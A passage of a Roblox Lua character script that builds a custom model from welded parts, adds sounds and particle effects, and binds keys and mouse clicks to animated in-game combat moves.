  2597. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2598. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2599. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2600. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2601. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2602. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2603. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2604. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2605. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2606. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2607. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2608. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2609. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2610. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2611. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2612. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2613. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2614. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2615. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2616. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2617. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2618. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2619. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2620. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2621. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2622.  
  2623. local modelzorz3=Instance.new("Model")
  2624. modelzorz3.Parent=Character
  2625. modelzorz3.Name="Eye"
  2626.  
  2627. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2628. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2629. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2630. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2631. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2632. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2633. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2634. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2635. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2636. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2637. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2638. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2639. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2640. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2641. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2642. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2643. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2644. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2645. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2646. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2647. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2648. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Baby blue","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2649. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2650. local moosick = it("Sound",Character)
  2651. moosick.SoundId = "rbxassetid://563062677"
  2652. --142653441, 175067863
  2653. moosick.Looped = true
  2654. moosick.Pitch = 0.9775
  2655. moosick.Volume = 1.5
  2656. moosick:Play()
  2657.  
  2658. anim = Character:findFirstChild("Animate")
  2659. if anim then
  2660. anim:Destroy()
  2661. end
  2662.  
  2663. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2664. particleemitter.VelocitySpread = 180
  2665. particleemitter.Lifetime = NumberRange.new(0.1)
  2666. particleemitter.Speed = NumberRange.new(2)
  2667. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2668. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2669. particleemitter.Rate = 100
  2670. particleemitter.Rotation = NumberRange.new(-45, 45)
  2671. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2672. particleemitter.LightEmission = 0.8
  2673. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2674.  
  2675. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2676. particleemitter.VelocitySpread = 180
  2677. particleemitter.Lifetime = NumberRange.new(0.1)
  2678. particleemitter.Speed = NumberRange.new(2)
  2679. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2680. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2681. particleemitter.Rate = 100
  2682. particleemitter.Rotation = NumberRange.new(-45, 45)
  2683. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2684. particleemitter.LightEmission = 0.8
  2685. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2686.  
  2687. local particleemitter = Instance.new("ParticleEmitter", handle)
  2688. particleemitter.VelocitySpread = 180
  2689. particleemitter.Lifetime = NumberRange.new(0.1)
  2690. particleemitter.Speed = NumberRange.new(2)
  2691. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2692. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2693. particleemitter.Rate = 100
  2694. particleemitter.Rotation = NumberRange.new(-45, 45)
  2695. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2696. particleemitter.LightEmission = 0.8
  2697. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2698.  
  2699. local light = Instance.new("PointLight", Character.Torso)
  2700. light.Color = Color3.new(255,255,255)
  2701. light.Brightness = 5
  2702. light.Range = 15
  2703.  
  2704. particleemitter.Enabled = true
  2705.  
  2706. local Footsteps = it("Sound",Character.Torso)
  2707. Footsteps.SoundId = "rbxassetid://142665235"
  2708. Footsteps.Looped = true
  2709. Footsteps.Pitch = 0.8
  2710. Footsteps.Volume = 0.3
  2711.  
  2712. local Footsteps2 = it("Sound",Character.Torso)
  2713. Footsteps2.SoundId = "rbxassetid://142665235"
  2714. Footsteps2.Looped = true
  2715. Footsteps2.Pitch = 1
  2716. Footsteps2.Volume = 0.4
  2717.  
  2718. local cam = game.Workspace.CurrentCamera
  2719.  
  2720. --cam.CameraSubject = Character
  2721.  
  2722. for i,v in pairs(Head:children()) do
  2723. if v:IsA("Sound") then
  2724. v:Destroy()
  2725. end
  2726. end
  2727.  
  2728. mouse.Button1Down:connect(function()
  2729. if attack==false and attacktype==1 then
  2730. attacktype=2
  2731. attackone()
  2732. elseif attack==false and attacktype==2 then
  2733. attacktype=3
  2734. attacktwo()
  2735. elseif attack==false and attacktype==3 then
  2736. attacktype=4
  2737. attackthree()
  2738. elseif attack==false and attacktype==4 then
  2739. attacktype=1
  2740. attackfour()
  2741. end
  2742. end)
  2743.  
  2744. mouse.KeyDown:connect(function(k)
  2745. k=k:lower()
  2746. if k=='e' then
  2747. if attack==false and mana>=20 then
  2748. Push()
  2749. end
  2750. elseif k=='g' then
  2751. if attack==false and mana>=50 then
  2752. Twirl()
  2753. end
  2754. elseif k=='v' then
  2755. if attack==false and mana>=25 then
  2756. MagicJump()
  2757. end
  2758. elseif k=='c' then
  2759. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2760. attack=true
  2761. for i = 1, 40 do
  2762. swait()
  2763. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2764. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2765. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2766. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2767. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2768. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2769. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2770. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2771. end
  2772. Blaze()
  2773. attack = false
  2774. end
  2775. elseif k=='x' then
  2776. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2777. attack=true
  2778. for i = 1, 15 do
  2779. swait()
  2780. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2781. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2782. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2783. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2784. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2785. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2786. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2787. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2788. end
  2789. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2790. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2791. for i = 0, 30 do
  2792. BlastEffect(BrickColor.new("Baby blue"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2793. wait(0.1)
  2794. end
  2795. local parteffected = Instance.new("Part",tors)
  2796. parteffected.Transparency = 1
  2797. parteffected.Position = tors.Position
  2798. parteffected.CanCollide = false
  2799. parteffected.Anchored = true
  2800. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2801. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2802. BlastEffect(BrickColor.new("Baby blue"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2803. MagicCircle(BrickColor.new("Baby blue"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2804. MagicCircle(BrickColor.new("Baby blue"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2805. BlastEffect(BrickColor.new("Baby blue"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2806. local sbs = Instance.new("BodyPosition", RootPart)
  2807. sbs.P = 3000
  2808. sbs.D = 1000
  2809. sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2810. sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2811. for i = 1, 40 do
  2812. swait()
  2813. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2814. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2815. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2816. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2817. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2818. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2819. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2820. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2821. end
  2822. wait(3)
  2823. Blaze2()
  2824. attack = false
  2825. parteffected:Destroy()
  2826. sbs:Destroy()
  2827. end
  2828. elseif k=='q' then
  2829. if attack==false then
  2830. idle=1000
  2831. end
  2832. elseif k=='h' then
  2833. if attack==false then
  2834. mana=100
  2835. end
  2836. elseif k=='y' then
  2837. if attack==false and mana>=100 then
  2838. Shred()
  2839. end
  2840. elseif k=='f' then
  2841. if attack==false and mana>=40 then
  2842. Spin()
  2843. end
  2844. elseif k=='r' then
  2845. if attack==false and mana>=20 then
  2846. Clap()
  2847. end
  2848. elseif k=='t' then
  2849. if attack==false then
  2850. Hai()
  2851. end
  2852. elseif k=='0' then
  2853. if attack==false then
  2854. Humanoid.WalkSpeed=(50)
  2855. end
  2856. elseif k=='j' then
  2857. if attack==false then
  2858. Humanoid.Health = 10
  2859. print("Congrats, you commited suicide.")
  2860. end
  2861. end
  2862. end)
  2863.  
  2864. mouse.KeyDown:connect(function(k)
  2865. if k == "z" and Ultramode == false then
  2866. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2867. attack = true
  2868. for i = 1, 15 do
  2869. swait()
  2870. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2871. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2872. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2873. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2874. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2875. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2876. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2877. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2878. end
  2879. m:Destroy()
  2880. local m = Instance.new("Model", Character)
  2881. m.Name = "WeaponModel"
  2882. local parta = Instance.new("Part",Character)
  2883. parta.Size = vt(10,10,10)
  2884. parta.BrickColor = BrickColor.new("Baby blue")
  2885. parta.Material = "Neon"
  2886. parta.Shape = "Ball"
  2887. parta.Transparency = 0
  2888. parta.Anchored = true
  2889. parta.CanCollide = false
  2890. parta.CFrame = tors.CFrame
  2891. Transform()
  2892. parta:Destroy()
  2893.  
  2894. local modelzorzz=Instance.new("Model")
  2895. modelzorzz.Parent=Character
  2896. modelzorzz.Name="Claw1"
  2897.  
  2898. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2899. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2900. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2901. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2902. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2903. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2904. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2905. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2906. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2907. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2908. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2909. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2910. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2911. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2912. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2913. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2914. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2915. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2916. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2917. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2918. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2919. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2920. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2921. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2922. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2923. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2924. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2925. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2926. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2927. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2928. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
